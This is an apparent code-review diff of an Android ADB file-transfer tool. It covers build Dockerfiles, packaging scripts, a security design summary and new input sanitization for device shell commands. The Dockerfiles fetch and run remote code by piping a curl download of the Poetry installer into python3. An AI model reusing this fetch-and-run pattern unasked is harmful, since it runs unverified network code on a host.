5. Logging (detection and debugging)
## Future Enhancements
### Recommended Improvements
1. **SHA-256 Hash Verification**: Verify ADB binary downloads against known-good hashes
2. **Code Signing**: Sign application binaries for distribution
3. **Sandboxing**: Consider running ADB operations in a restricted environment
4. **Rate Limiting**: Prevent brute-force attempts on path validation
5. **Audit Logging**: Enhanced logging for security-relevant events
6. **Unicode Normalization**: Normalize Unicode strings to prevent bypass attempts
### Not Recommended
1. **Filename Whitelisting**: Too restrictive for international users
2. **Path Length Limits**: Android supports long paths; artificial limits harm usability
3. **Blocking All Special Characters**: Many legitimate filenames use special characters
## References
- [OWASP Command Injection](https://owasp.org/www-community/attacks/Command_Injection)
- [OWASP Path Traversal](https://owasp.org/www-community/attacks/Path_Traversal)
- [CWE-78: OS Command Injection](https://cwe.mitre.org/data/definitions/78.html)
- [CWE-22: Path Traversal](https://cwe.mitre.org/data/definitions/22.html)
- [Android File System Permissions](https://source.android.com/docs/core/permissions/filesystem)
## Version History
- **v1.0** (2025-10-15): Initial security design documentation
- Command injection prevention
- Path traversal prevention
- Symlink resolution
- Comprehensive test coverage
- Error logging for validation failures
+10
View File
@@ -0,0 +1,10 @@
-----BEGIN PGP PUBLIC KEY BLOCK-----
mDMEaPAWyxYJKwYBBAHaRw8BAQdAZvH8TI491M3W7PCRrs3Iks4qsIMGFZ71UW4E
Di808m20OmFuZHJvaWQtZmlsZS1oYW5kbGVyIFJlbGVhc2UgQm90IDxqYXNvbi5y
b3NzODQxQGdtYWlsLmNvbT6IkwQTFgoAOxYhBAlZWbUAICc77jajXKVv3PRrBEqG
BQJo8BbLAhsDBQsJCAcCAiICBhUKCQgLAgQWAgMBAh4HAheAAAoJEKVv3PRrBEqG
FGIA/3wXwy2esmP0M5kVwyjoXvkxz9icqETxvWj613nVgTP0AQCErfBCae5gce2h
Ruw4g2a1dyvO+020t429qXv1T8XhCA==
=GOiu
-----END PGP PUBLIC KEY BLOCK-----
Generated
+729 -442
View File
File diff suppressed because it is too large Load Diff
+2
View File
@@ -0,0 +1,2 @@
[virtualenvs]
in-project = true
+17 -16
View File
@@ -1,46 +1,47 @@
[project]
name = "android_file_handler"
version = "0.1.0"
version = "0.1.1"
description = "An Android file transfer util for Windows and Linux. MacOS support may be added later."
authors = [
{ name = "Jason Ross", email = "51939451+JMR-dev@users.noreply.github.com" },
]
license = { text = "MIT" }
license = "MIT"
readme = "README.md"
requires-python = "<3.13,>=3.12"
requires-python = ">=3.13, <3.15"
dependencies = ["requests>=2.32.4,<3.0.0", "platformdirs>4.0.0,<5.0.0"]
[tool.poetry.dependencies]
python = "<3.13,>=3.12"
requests = ">=2.32.4,<3.0.0"
platformdirs = ">4.0.0,<5.0.0"
python = ">=3.13, <3.15"
requests = "^2.32.5"
platformdirs = "^4.5.0"
urllib3 = "^2.0"
[build-system]
requires = ["poetry-core>=2.0.0,<3.0.0"]
build-backend = "poetry.core.masonry.api"
[tool.poetry.scripts]
[project.scripts]
# Main application entry point
android-file-handler = "src.main:main"
[tool.poetry.group.dev.dependencies]
black = "^25.0.0"
flake8 = "^6.0.0"
mypy = "^1.5.0"
pre-commit = "^3.4.0"
black = "^26.3.1"
flake8 = "^7.3.0"
mypy = "^1.18.2"
pre-commit = "^4.3.0"
[tool.poetry.group.test.dependencies]
pytest = "^7.4.0"
pytest-mock = "^3.11.0"
pytest-cov = "^4.1.0"
pytest = "^9.0.2"
pytest-mock = "^3.15.1"
pytest-cov = "^7.0.0"
[tool.poetry.group.build.dependencies]
pyinstaller = "^5.13.0"
pyinstaller = "^6.1.0"
[tool.black]
line-length = 88
target-version = ['py313']
target-version = ['py313', 'py314']
[tool.mypy]
python_version = "3.13"
+120 -16
View File
@@ -4,6 +4,7 @@ import os
import subprocess
import shutil
import sys
import re
from pathlib import Path
from enum import Enum
from typing import List
@@ -15,7 +16,7 @@ class DistroType(Enum):
RHEL = "rhel"
def run_command(cmd: list[str], check: bool = True, working_dir: str = None) -> subprocess.CompletedProcess:
def run_command(cmd: list[str], check: bool = True, working_dir: str | None = None) -> subprocess.CompletedProcess:
"""Run command and handle errors."""
print(f"Running: {' '.join(cmd)}")
try:
@@ -35,24 +36,130 @@ def get_distro_config(distro_type: DistroType) -> dict:
"name": "Debian",
"bin_path": "usr/local/bin",
"pkg_suffix": "debian",
"spec_file": "scripts/spec_scripts/android-file-handler-debian.spec"
"spec_file": "scripts/spec_scripts/android-file-handler-debian.spec",
"pkg_type": "deb",
"architecture": "amd64",
"postinstall": "scripts/debian_postinst.sh"
},
DistroType.ARCH: {
"name": "Arch",
"bin_path": "usr/bin",
"pkg_suffix": "arch",
"spec_file": "scripts/spec_scripts/android-file-handler-arch.spec"
"spec_file": "scripts/spec_scripts/android-file-handler-arch.spec",
"pkg_type": "pacman",
"architecture": "x86_64",
"postinstall": None
},
DistroType.RHEL: {
"name": "RHEL",
"bin_path": "usr/bin",
"bin_path": "usr/bin",
"pkg_suffix": "rhel",
"spec_file": "scripts/spec_scripts/android-file-handler-rhel.spec"
"spec_file": "scripts/spec_scripts/android-file-handler-rhel.spec",
"pkg_type": "rpm",
"architecture": "x86_64",
"postinstall": "scripts/rhel_postinst.sh"
}
}
return configs[distro_type]
def validate_version(version: str) -> bool:
"""Validate semantic version format."""
semver_pattern = r'^[0-9]+\.[0-9]+\.[0-9]+(-[a-zA-Z0-9]+(\.[a-zA-Z0-9]+)*)?(\+[a-zA-Z0-9]+(\.[a-zA-Z0-9]+)*)?$'
return bool(re.match(semver_pattern, version))
def get_version() -> str:
"""Get version from Poetry and validate it."""
result = subprocess.run(
["poetry", "version", "-s"],
capture_output=True,
text=True,
check=True
)
version = result.stdout.strip()
if not version:
print("ERROR: Version is empty in pyproject.toml")
sys.exit(1)
if not validate_version(version):
print(f"ERROR: Invalid version format in pyproject.toml: {version}")
print("Expected semantic version format (e.g., 1.2.3, 1.2.3-beta.1, 1.2.3+build.123)")
sys.exit(1)
return version
def package_with_fpm(distro_type: DistroType, version: str, project_root: Path) -> None:
"""Package the built application using fpm."""
config = get_distro_config(distro_type)
pkg_dir = project_root / f"pkg_dist_{config['pkg_suffix']}"
dist_dir = project_root / "dist"
print(f"\n=== Packaging {config['name']} with fpm ===")
# Ensure dist directory exists
dist_dir.mkdir(exist_ok=True)
# Check if icon exists
icon_path = pkg_dir / "usr/share/icons/hicolor/256x256/apps/android-file-handler.png"
icon_included = icon_path.exists()
# Build package items list
pkg_items = [
f"{config['bin_path']}/android-file-handler",
"usr/share/applications/android-file-handler.desktop"
]
if icon_included:
pkg_items.append("usr/share/icons/hicolor/256x256/apps/android-file-handler.png")
else:
print("Note: icon not present, packaging without icon")
# Build fpm command based on distro type
fpm_cmd = [
"fpm",
"-s", "dir",
"-t", config["pkg_type"],
"-n", "android-file-handler",
"-v", version,
"--architecture", config["architecture"],
"-C", str(pkg_dir)
]
# Add distro-specific options
if distro_type == DistroType.DEBIAN:
output_file = dist_dir / f"android-file-handler_{version}_{config['architecture']}.deb"
fpm_cmd.extend([
"--deb-user", "root",
"--deb-group", "root",
"--after-install", config["postinstall"],
"-p", str(output_file)
])
elif distro_type == DistroType.ARCH:
output_file = dist_dir / f"android-file-handler-{version}-1-{config['architecture']}.pkg.tar.zst"
fpm_cmd.extend([
"-p", str(output_file)
])
elif distro_type == DistroType.RHEL:
output_file = dist_dir / f"android-file-handler-{version}.{config['architecture']}.rpm"
fpm_cmd.extend([
"--prefix", "/usr/bin",
"--after-install", config["postinstall"],
"-p", str(output_file)
])
# Add package items
fpm_cmd.extend(pkg_items)
# Run fpm
print(f"Creating package: {output_file}")
run_command(fpm_cmd, working_dir=str(project_root))
print(f"Package created successfully: {output_file}")
def prompt_distro_selection() -> List[DistroType]:
"""Prompt user for distro selection."""
print("Select distribution(s) to build for:")
@@ -60,7 +167,7 @@ def prompt_distro_selection() -> List[DistroType]:
print("2. Arch")
print("3. RHEL")
print("4. All distributions")
while True:
choice = input("Enter choice (1-4): ").strip()
if choice == "1":
@@ -161,7 +268,7 @@ StartupNotify=true
pkg_items.append("usr/share/icons/hicolor/256x256/apps/android-file-handler.png")
# Debug listing
print(f"Packaging the following items for {config['name']} (relative to {pkg_dir}):")
print(f"Prepared items for {config['name']} (relative to {pkg_dir}):")
for item in pkg_items:
print(f" - {item}")
item_path = pkg_dir / item
@@ -171,8 +278,11 @@ StartupNotify=true
else:
print(f" (missing) {item_path}")
# Package with fpm
package_with_fpm(distro_type, version, project_root)
def main():
def main() -> None:
# Get project root (parent of scripts directory)
project_root = Path(__file__).parent.parent.resolve()
print(f"Project root: {project_root}")
@@ -211,14 +321,8 @@ def main():
run_command(["poetry", "lock"])
run_command(["poetry", "install"])
# Get version from Poetry
result = subprocess.run(
["poetry", "version", "-s"],
capture_output=True,
text=True,
check=True
)
version = result.stdout.strip()
# Get and validate version from Poetry
version = get_version()
print(f"Version: {version}")
# Build for selected distributions
+99
View File
@@ -0,0 +1,99 @@
# Dockerfile for Arch Linux build environment
# Automates all setup steps from the build-arch workflow job
#
# Usage:
# docker build -f scripts/docker/Dockerfile.arch -t android-file-handler-arch-builder .
# docker run -v $(pwd):/workspace -w /workspace android-file-handler-arch-builder
# Use latest Arch Linux base image (rolling release)
# For reproducibility, pin to a specific date tag like: archlinux:base-20251016
FROM archlinux:latest
# Set build argument for fpm version (can be overridden at build time)
ARG FPM_VERSION=1.16.0
# Install system dependencies (Arch) including Python build dependencies
RUN pacman -Syu --noconfirm \
ruby \
ruby-bundler \
ruby-rake \
base-devel \
curl \
git \
tar \
ca-certificates \
ca-certificates-utils \
tk \
tcl \
libx11 \
libxext \
libxrender \
libxcb \
gcc \
make \
zlib \
bzip2 \
readline \
sqlite \
openssl \
libffi \
wget \
xz \
patch && \
update-ca-trust && \
pacman -Scc --noconfirm
# Install erb gem (required for fpm on Arch)
RUN gem install --no-document erb
# Install fpm and create symlink so it's accessible in PATH
# Note: Gems install to user directory on Arch, so we use Gem.user_dir
RUN gem install --no-document -v "${FPM_VERSION}" fpm && \
GEM_BIN_DIR=$(ruby -e 'puts Gem.user_dir')/bin && \
echo "Gem bin directory: ${GEM_BIN_DIR}" && \
ln -sf "${GEM_BIN_DIR}/fpm" /usr/local/bin/fpm && \
/usr/local/bin/fpm --version
# Install pyenv
ENV PYENV_ROOT="/root/.pyenv"
ENV PATH="$PYENV_ROOT/bin:$PATH"
RUN git clone https://github.com/pyenv/pyenv.git /root/.pyenv
# Install Python 3.12 via pyenv with tkinter support
# The tk and tcl packages must be installed before this step for _tkinter to be compiled
RUN eval "$(pyenv init -)" && \
LDFLAGS="-L/usr/lib" \
CPPFLAGS="-I/usr/include" \
PYTHON_CONFIGURE_OPTS="--enable-shared" \
pyenv install 3.13 && \
pyenv global 3.13 && \
pyenv rehash
# Update PATH to include pyenv shims
ENV PATH="/root/.pyenv/shims:$PATH"
# Verify Python has tkinter support
RUN python3 -c "import tkinter; import _tkinter; print('tkinter support verified')" || \
(echo "ERROR: Python was built without tkinter support" && exit 1)
# Install Poetry
RUN curl -sSL https://install.python-poetry.org | python3 - --yes
# Add Poetry to PATH
ENV PATH="/root/.local/bin:$PATH"
# Verify Poetry installation
RUN poetry --version
# Set working directory
WORKDIR /workspace
# Set environment variables for build
ENV CI_CD=true
ENV DISTRO_TYPE=arch
# Default command runs the build script
CMD ["sh", "-c", "poetry install --no-interaction && poetry run python scripts/build_package_linux.py"]
+87
View File
@@ -0,0 +1,87 @@
# Dockerfile for Debian build environment
# Automates all setup steps from the build-debian workflow job
#
# Usage:
# docker build -f scripts/docker/Dockerfile.debian -t android-file-handler-debian-builder .
# docker run -v $(pwd):/workspace -w /workspace android-file-handler-debian-builder
# Use Debian 13 "Trixie" (latest stable release)
FROM debian:13
# Set build argument for fpm version (can be overridden at build time)
ARG FPM_VERSION=1.16.0
# Install system dependencies including Python build dependencies
RUN apt-get update && \
apt-get install -y --no-install-recommends \
curl \
git \
build-essential \
ruby \
ruby-dev \
gcc \
make \
zlib1g-dev \
ca-certificates \
tcl-dev \
tk-dev \
libx11-6 \
libxext6 \
libxrender1 \
libxcb1 \
libbz2-dev \
libreadline-dev \
libsqlite3-dev \
libssl-dev \
libffi-dev \
wget \
tar \
liblzma-dev \
patch && \
apt-get clean && \
rm -rf /var/lib/apt/lists/*
# Install pyenv
ENV PYENV_ROOT="/root/.pyenv"
ENV PATH="$PYENV_ROOT/bin:$PATH"
RUN git clone https://github.com/pyenv/pyenv.git /root/.pyenv
# Install Python 3.12 via pyenv with tkinter support
# The tk8.6-dev package must be installed before this step for _tkinter to be compiled
RUN eval "$(pyenv init -)" && \
LDFLAGS="-L/usr/lib/x86_64-linux-gnu" \
CPPFLAGS="-I/usr/include/tcl8.6" \
PYTHON_CONFIGURE_OPTS="--enable-shared" \
pyenv install 3.13 && \
pyenv global 3.13 && \
pyenv rehash
# Update PATH to include pyenv shims
ENV PATH="/root/.pyenv/shims:$PATH"
# Verify Python has tkinter support
RUN python3 -c "import tkinter; import _tkinter; print('tkinter support verified')" || \
(echo "ERROR: Python was built without tkinter support" && exit 1)
# Install Poetry
RUN curl -sSL https://install.python-poetry.org | python3 - --yes
# Add Poetry to PATH
ENV PATH="/root/.local/bin:$PATH"
# Verify Poetry installation
RUN poetry --version
# Install fpm
RUN gem install --no-document -v "${FPM_VERSION}" fpm
# Set working directory
WORKDIR /workspace
# Set environment variables for build
ENV CI_CD=true
ENV DISTRO_TYPE=debian
# Default command runs the build script
CMD ["sh", "-c", "poetry install --no-interaction && poetry run python scripts/build_package_linux.py"]
+88
View File
@@ -0,0 +1,88 @@
# Dockerfile for RHEL/Fedora build environment
# Automates all setup steps from the build-rhel workflow job
#
# Usage:
# docker build -f scripts/docker/Dockerfile.rhel -t android-file-handler-rhel-builder .
# docker run -v $(pwd):/workspace -w /workspace android-file-handler-rhel-builder
FROM fedora:42
# Set build argument for fpm version (can be overridden at build time)
ARG FPM_VERSION=1.16.0
# Install system dependencies including tk8-devel for Python tkinter support
# Using tk8 (version 8.6) instead of tk (version 9.0) for Python 3.12 compatibility
RUN dnf -y update && \
dnf -y install \
gcc \
make \
zlib-devel \
bzip2 \
bzip2-devel \
readline-devel \
sqlite-devel \
openssl-devel \
libffi-devel \
wget \
tar \
git \
curl \
ruby \
rubygems \
rpm-build \
redhat-rpm-config \
gcc-c++ \
patch \
which \
xz-devel \
tk-devel \
tcl-devel \
libX11-devel \
libXext-devel \
libXrender-devel && \
dnf clean all
# Install pyenv
ENV PYENV_ROOT="/root/.pyenv"
ENV PATH="$PYENV_ROOT/bin:$PATH"
RUN git clone https://github.com/pyenv/pyenv.git /root/.pyenv
# Install Python 3.13 via pyenv with tkinter support
# The tk8-devel package must be installed before this step for _tkinter to be compiled
RUN eval "$(pyenv init -)" && \
LDFLAGS="-L/usr/lib64" \
CPPFLAGS="-I/usr/include" \
PYTHON_CONFIGURE_OPTS="--enable-shared" \
pyenv install 3.13 && \
pyenv global 3.13 && \
pyenv rehash
# Update PATH to include pyenv shims
ENV PATH="/root/.pyenv/shims:$PATH"
# Verify Python has tkinter support
RUN python3 -c "import tkinter; import _tkinter; print('tkinter support verified')" || \
(echo "ERROR: Python was built without tkinter support" && exit 1)
# Install Poetry
RUN curl -sSL https://install.python-poetry.org | python3 - --yes
# Add Poetry to PATH
ENV PATH="/root/.local/bin:$PATH"
# Verify Poetry installation
RUN poetry --version
# Install fpm
RUN gem install --no-document -v "${FPM_VERSION}" fpm
# Set working directory
WORKDIR /workspace
# Set environment variables for build
ENV CI_CD=true
ENV DISTRO_TYPE=rhel
# Default command runs the build script
CMD ["sh", "-c", "poetry install --no-interaction && poetry run python scripts/build_package_linux.py"]
+121
View File
@@ -0,0 +1,121 @@
# Docker Build Environment
This directory contains Dockerfiles for building the Android File Handler on different Linux distributions. These images match exactly the images used in the CI/CD pipeline.
## Quick Start
### Using Docker Compose (Recommended)
Build for all distributions:
```bash
docker-compose up --build
```
Build for a specific distribution:
```bash
docker-compose up --build debian
docker-compose up --build arch
docker-compose up --build rhel
```
Build all distributions in parallel:
```bash
docker-compose up --build --parallel
```
### Manual Docker Build
Build the image:
```bash
# Debian
docker build -f scripts/docker/Dockerfile.debian -t android-file-handler-debian-builder .
# Arch
docker build -f scripts/docker/Dockerfile.arch -t android-file-handler-arch-builder .
# RHEL/Fedora
docker build -f scripts/docker/Dockerfile.rhel -t android-file-handler-rhel-builder .
```
Run the build:
```bash
# Debian
docker run --rm -v $(pwd):/workspace -w /workspace android-file-handler-debian-builder
# Arch
docker run --rm -v $(pwd):/workspace -w /workspace android-file-handler-arch-builder
# RHEL/Fedora
docker run --rm -v $(pwd):/workspace -w /workspace android-file-handler-rhel-builder
```
## Output
After building, you'll find:
- `dist/` - Final packaged files (.deb, .rpm, .pkg.tar.zst)
- `pkg_dist_{distro}/` - Staging directories for package contents
- `dist_{distro}/` - PyInstaller build outputs
## Images
### Debian Builder
- **Image**: `ghcr.io/jmr-dev/android-file-handler-debian-builder:debian13-trixie`
- **Base**: `debian:13`
- **Python**: 3.13 (via pyenv)
- **Tools**: Poetry, fpm, PyInstaller
### Arch Builder
- **Image**: `ghcr.io/jmr-dev/android-file-handler-arch-builder:latest`
- **Base**: `archlinux:latest`
- **Python**: 3.13 (via pyenv)
- **Tools**: Poetry, fpm, PyInstaller
### RHEL Builder
- **Image**: `ghcr.io/jmr-dev/android-file-handler-rhel-builder:fedora42`
- **Base**: `fedora:42`
- **Python**: 3.13 (via pyenv)
- **Tools**: Poetry, fpm, PyInstaller
## Troubleshooting
### Virtualenv Conflicts
The Docker Compose configuration automatically excludes the host's `.venv` directory to prevent conflicts between the host Python environment and the container Python environment. Each container creates its own virtualenv in `/tmp/poetry-cache`.
If you encounter virtualenv-related errors, ensure you're using the latest docker-compose.yml configuration.
## Cleaning Up
Remove build artifacts:
```bash
rm -rf dist pkg_dist_* dist_*
```
Remove Docker volumes and containers:
```bash
docker compose down -v
```
## Customization
### Override FPM Version
Build with a specific fpm version:
```bash
docker-compose build --build-arg FPM_VERSION=1.15.0 debian
```
### Environment Variables
All builds use these environment variables:
- `CI_CD=true` - Runs in CI/CD mode
- `DISTRO_TYPE` - Set to `debian`, `arch`, or `rhel`
- `FPM_VERSION` - Version of fpm to use (default: 1.16.0)
## Notes
- All images use Python 3.13 built from source with tkinter support
- The builds are identical to what runs in GitHub Actions
- Poetry and fpm are pre-installed in all images
- The Python build script handles both PyInstaller and fpm packaging
+1 -1
View File
@@ -1,4 +1,4 @@
"""
Core Package
Core functionality and business logic components.
"""
"""
+10 -8
View File
@@ -13,11 +13,13 @@ from .platform_tools import get_adb_binary_path
class ADBCommandRunner:
"""Handles ADB command execution and device communication."""
def __init__(self):
self.current_process: Optional[subprocess.Popen] = None
def run_adb_command(self, args: list, capture_output: bool = True) -> Union[Tuple[str, str, int], subprocess.Popen, Tuple[None, str, int]]:
def run_adb_command(
self, args: list, capture_output: bool = True
) -> Union[Tuple[str, str, int], subprocess.Popen, Tuple[None, str, int]]:
"""Run an ADB command and return output."""
cmd = [get_adb_binary_path()] + args
try:
@@ -34,7 +36,7 @@ class ADBCommandRunner:
return None, str(e), -1
else:
return None
def check_device(self) -> Optional[str]:
"""Check if an Android device is connected."""
result = self.run_adb_command(["devices"], capture_output=True)
@@ -46,7 +48,7 @@ class ADBCommandRunner:
if line.endswith("\tdevice"):
return line.split()[0]
return None
def parse_progress(self, text_line: str) -> Optional[int]:
"""Parse progress percentage from ADB output.
@@ -121,7 +123,7 @@ class ADBCommandRunner:
return 100
return None
def cancel_current_operation(self) -> bool:
"""Cancel the current ADB operation.
@@ -149,9 +151,9 @@ class ADBCommandRunner:
# Force kill if it doesn't terminate gracefully
self.current_process.kill()
self.current_process.wait()
self.current_process = None
return True
except Exception:
return False
return False
return False
+321 -139
View File
@@ -7,14 +7,15 @@ import os
import sys
import shutil
import subprocess
import logging
from typing import Optional, Tuple, Callable
# Import our modular components
from .platform_tools import (
ensure_platform_tools_in_user_dir,
get_adb_binary_path,
ensure_platform_tools_in_user_dir,
get_adb_binary_path,
is_adb_available,
download_and_extract_adb
download_and_extract_adb,
)
from .platform_utils import get_platform_tools_directory, get_platform_type
from .file_transfer import ADBFileTransfer
@@ -26,13 +27,20 @@ try:
except ImportError:
from ..utils.file_deduplication import FileDeduplicator
try:
from ..utils.security_utils import sanitize_android_path, validate_device_id
except ImportError:
from utils.security_utils import sanitize_android_path, validate_device_id
OS_TYPE = sys.platform
logger = logging.getLogger(__name__)
class ADBManager:
"""Main interface for ADB operations, device management, and file transfers."""
def __init__(self):
"""Initialize the ADB manager."""
self.command_runner = ADBCommandRunner()
@@ -45,19 +53,19 @@ class ADBManager:
self.deduplicator = FileDeduplicator()
except Exception:
self.deduplicator = None
# Progress and status callbacks for compatibility
self.progress_callback = None
self.status_callback = None
# Transfer progress tracking
self.transfer_progress = {
'current_file': 0,
'total_files': 0,
'transferred_bytes': 0,
'total_bytes': 0
"current_file": 0,
"total_files": 0,
"transferred_bytes": 0,
"total_bytes": 0,
}
# Lazily initialize ADB binary path to reduce side effects during init
self._adb_path: Optional[str] = None
@@ -73,128 +81,159 @@ class ADBManager:
@adb_path.setter
def adb_path(self, value: Optional[str]) -> None:
self._adb_path = value
def is_available(self) -> bool:
"""Check if ADB is available."""
return is_adb_available()
def ensure_adb_installed(self) -> bool:
"""Ensure ADB is installed and available."""
try:
if self.is_available():
return True
# Try to download and install ADB
self.adb_path = ensure_platform_tools_in_user_dir()
if self.adb_path and os.path.exists(self.adb_path):
return True
except Exception as e:
print(f"Error ensuring ADB installation: {e}")
return False
def get_devices(self) -> list[str]:
"""Get list of connected Android devices."""
try:
args = ["devices"]
stdout, stderr, returncode = self.command_runner.run_adb_command(args)
if returncode != 0:
return []
devices = []
for line in stdout.split('\n')[1:]: # Skip first line "List of devices attached"
for line in stdout.split("\n")[
1:
]: # Skip first line "List of devices attached"
line = line.strip()
if line and '\t' in line:
device_id = line.split('\t')[0]
if line and "\t" in line:
device_id = line.split("\t")[0]
if device_id:
devices.append(device_id)
return devices
except Exception:
return []
def is_device_connected(self, device_id: str = None) -> bool:
def is_device_connected(self, device_id: Optional[str] = None) -> bool:
"""Check if a specific device is connected."""
devices = self.get_devices()
if not devices:
return False
if device_id:
return device_id in devices
else:
# Check if any device is connected
return len(devices) > 0
def select_device(self, device_id: str) -> None:
"""Select a specific device for operations."""
self.selected_device = device_id
def get_selected_device(self) -> Optional[str]:
"""Get the currently selected device."""
return self.selected_device
def list_files(self, path: str, device_id: str = None) -> list[dict]:
def list_files(self, path: str, device_id: Optional[str] = None) -> list[dict]:
"""List files in the specified path on the device."""
# Sanitize inputs to prevent command injection
try:
sanitized_path = sanitize_android_path(path)
except ValueError as e:
# Log detailed validation error
logger.warning(
f"Security: Path rejected in list_files() - "
f"path='{path[:100]}', reason: {str(e)}"
)
# Notify user via status callback
self._update_status(f"Invalid path: {str(e)}")
return []
device_args = []
target_device = device_id or self.selected_device
if target_device:
device_args = ["-s", target_device]
args = device_args + ["shell", "ls", "-la", path]
try:
validated_device = validate_device_id(target_device)
device_args = ["-s", validated_device]
except ValueError as e:
logger.warning(
f"Security: Device ID rejected in list_files() - "
f"device_id='{target_device}', reason: {str(e)}"
)
# Notify user via status callback
self._update_status(f"Invalid device ID: {str(e)}")
return []
args = device_args + ["shell", "ls", "-la", sanitized_path]
try:
stdout, stderr, returncode = self.command_runner.run_adb_command(args)
if returncode != 0:
return []
files = []
for line in stdout.split('\n'):
for line in stdout.split("\n"):
line = line.strip()
if not line or line.startswith('total '):
if not line or line.startswith("total "):
continue
# Parse ls -la output
parts = line.split()
if len(parts) < 9:
continue
permissions = parts[0]
size_str = parts[4]
# Join filename parts (handles spaces in filenames)
name = ' '.join(parts[8:])
name = " ".join(parts[8:])
# Skip current and parent directory entries
if name in ['.', '..']:
if name in [".", ".."]:
continue
file_type = 'folder' if permissions.startswith('d') else 'file'
file_type = "folder" if permissions.startswith("d") else "file"
try:
size = int(size_str) if file_type == 'file' else 0
size = int(size_str) if file_type == "file" else 0
except ValueError:
size = 0
# Combine date and time parts
modified = ' '.join(parts[5:8]) if len(parts) >= 8 else ''
files.append({
'name': name,
'type': file_type,
'size': size,
'permissions': permissions,
'modified': modified
})
modified = " ".join(parts[5:8]) if len(parts) >= 8 else ""
files.append(
{
"name": name,
"type": file_type,
"size": size,
"permissions": permissions,
"modified": modified,
}
)
return files
except Exception:
return []
def pull_file(self, remote_path: str, local_path: str,
progress_callback: Optional[Callable[[int, int], None]] = None,
device_id: str = None) -> Tuple[bool, str]:
def pull_file(
self,
remote_path: str,
local_path: str,
progress_callback: Optional[Callable[[int, int], None]] = None,
device_id: Optional[str] = None,
) -> Tuple[bool, str]:
"""Pull a file from device to local system."""
try:
# Create local directory if it doesn't exist
@@ -205,7 +244,7 @@ class ADBManager:
except Exception:
# Normalize error message for tests
return False, "Failed to pull file"
# Use our file transfer module
success = self.file_transfer.pull_file(remote_path, local_path)
if success:
@@ -214,10 +253,14 @@ class ADBManager:
return False, "Failed to pull file"
except Exception as e:
return False, "Failed to pull file"
def pull_folder(self, remote_path: str, local_path: str,
progress_callback: Optional[Callable[[int, int], None]] = None,
device_id: str = None) -> Tuple[bool, str]:
def pull_folder(
self,
remote_path: str,
local_path: str,
progress_callback: Optional[Callable[[int, int], None]] = None,
device_id: Optional[str] = None,
) -> Tuple[bool, str]:
"""Pull a folder from device to local system."""
try:
# Create local directory
@@ -225,7 +268,7 @@ class ADBManager:
os.makedirs(local_path, exist_ok=True)
except Exception:
return False, "Failed to pull folder"
# Use our file transfer module
success = self.file_transfer.pull_folder(remote_path, local_path)
if success:
@@ -234,15 +277,19 @@ class ADBManager:
return False, "Failed to pull folder"
except Exception as e:
return False, "Failed to pull folder"
def push_file(self, local_path: str, remote_path: str,
progress_callback: Optional[Callable[[int, int], None]] = None,
device_id: str = None) -> Tuple[bool, str]:
def push_file(
self,
local_path: str,
remote_path: str,
progress_callback: Optional[Callable[[int, int], None]] = None,
device_id: Optional[str] = None,
) -> Tuple[bool, str]:
"""Push a file from local system to device."""
try:
if not os.path.exists(local_path):
return False, f"Local file not found: {local_path}"
# Use our file transfer module
success = self.file_transfer.push_file(local_path, remote_path)
if success:
@@ -251,15 +298,19 @@ class ADBManager:
return False, "Failed to push file"
except Exception as e:
return False, f"Error pushing file: {str(e)}"
def push_folder(self, local_path: str, remote_path: str,
progress_callback: Optional[Callable[[int, int], None]] = None,
device_id: str = None) -> Tuple[bool, str]:
def push_folder(
self,
local_path: str,
remote_path: str,
progress_callback: Optional[Callable[[int, int], None]] = None,
device_id: Optional[str] = None,
) -> Tuple[bool, str]:
"""Push a folder from local system to device."""
try:
if not os.path.exists(local_path):
return False, f"Local folder not found: {local_path}"
# Use our file transfer module
success = self.file_transfer.push_folder(local_path, remote_path)
if success:
@@ -268,16 +319,28 @@ class ADBManager:
return False, "Failed to push folder"
except Exception as e:
return False, f"Error pushing folder: {str(e)}"
def delete_file(self, remote_path: str, device_id: str = None) -> Tuple[bool, str]:
def delete_file(
self, remote_path: str, device_id: Optional[str] = None
) -> Tuple[bool, str]:
"""Delete a file on the device."""
# Sanitize inputs to prevent command injection
try:
sanitized_path = sanitize_android_path(remote_path)
except ValueError as e:
return False, f"Invalid path: {str(e)}"
device_args = []
target_device = device_id or self.selected_device
if target_device:
device_args = ["-s", target_device]
args = device_args + ["shell", "rm", "-f", remote_path]
try:
validated_device = validate_device_id(target_device)
device_args = ["-s", validated_device]
except ValueError as e:
return False, f"Invalid device ID: {str(e)}"
args = device_args + ["shell", "rm", "-f", sanitized_path]
try:
stdout, stderr, returncode = self.command_runner.run_adb_command(args)
if returncode == 0:
@@ -286,16 +349,28 @@ class ADBManager:
return False, f"Failed to delete file: {stderr}"
except Exception as e:
return False, f"Error deleting file: {str(e)}"
def create_folder(self, remote_path: str, device_id: str = None) -> Tuple[bool, str]:
def create_folder(
self, remote_path: str, device_id: Optional[str] = None
) -> Tuple[bool, str]:
"""Create a folder on the device."""
# Sanitize inputs to prevent command injection
try:
sanitized_path = sanitize_android_path(remote_path)
except ValueError as e:
return False, f"Invalid path: {str(e)}"
device_args = []
target_device = device_id or self.selected_device
if target_device:
device_args = ["-s", target_device]
args = device_args + ["shell", "mkdir", "-p", remote_path]
try:
validated_device = validate_device_id(target_device)
device_args = ["-s", validated_device]
except ValueError as e:
return False, f"Invalid device ID: {str(e)}"
args = device_args + ["shell", "mkdir", "-p", sanitized_path]
try:
stdout, stderr, returncode = self.command_runner.run_adb_command(args)
if returncode == 0:
@@ -304,16 +379,28 @@ class ADBManager:
return False, f"Failed to create folder: {stderr}"
except Exception as e:
return False, f"Error creating folder: {str(e)}"
def delete_folder(self, remote_path: str, device_id: str = None) -> Tuple[bool, str]:
def delete_folder(
self, remote_path: str, device_id: Optional[str] = None
) -> Tuple[bool, str]:
"""Delete a folder on the device."""
# Sanitize inputs to prevent command injection
try:
sanitized_path = sanitize_android_path(remote_path)
except ValueError as e:
return False, f"Invalid path: {str(e)}"
device_args = []
target_device = device_id or self.selected_device
if target_device:
device_args = ["-s", target_device]
args = device_args + ["shell", "rm", "-rf", remote_path]
try:
validated_device = validate_device_id(target_device)
device_args = ["-s", validated_device]
except ValueError as e:
return False, f"Invalid device ID: {str(e)}"
args = device_args + ["shell", "rm", "-rf", sanitized_path]
try:
stdout, stderr, returncode = self.command_runner.run_adb_command(args)
if returncode == 0:
@@ -322,16 +409,29 @@ class ADBManager:
return False, f"Failed to delete folder: {stderr}"
except Exception as e:
return False, f"Error deleting folder: {str(e)}"
def move_item(self, old_path: str, new_path: str, device_id: str = None) -> Tuple[bool, str]:
def move_item(
self, old_path: str, new_path: str, device_id: Optional[str] = None
) -> Tuple[bool, str]:
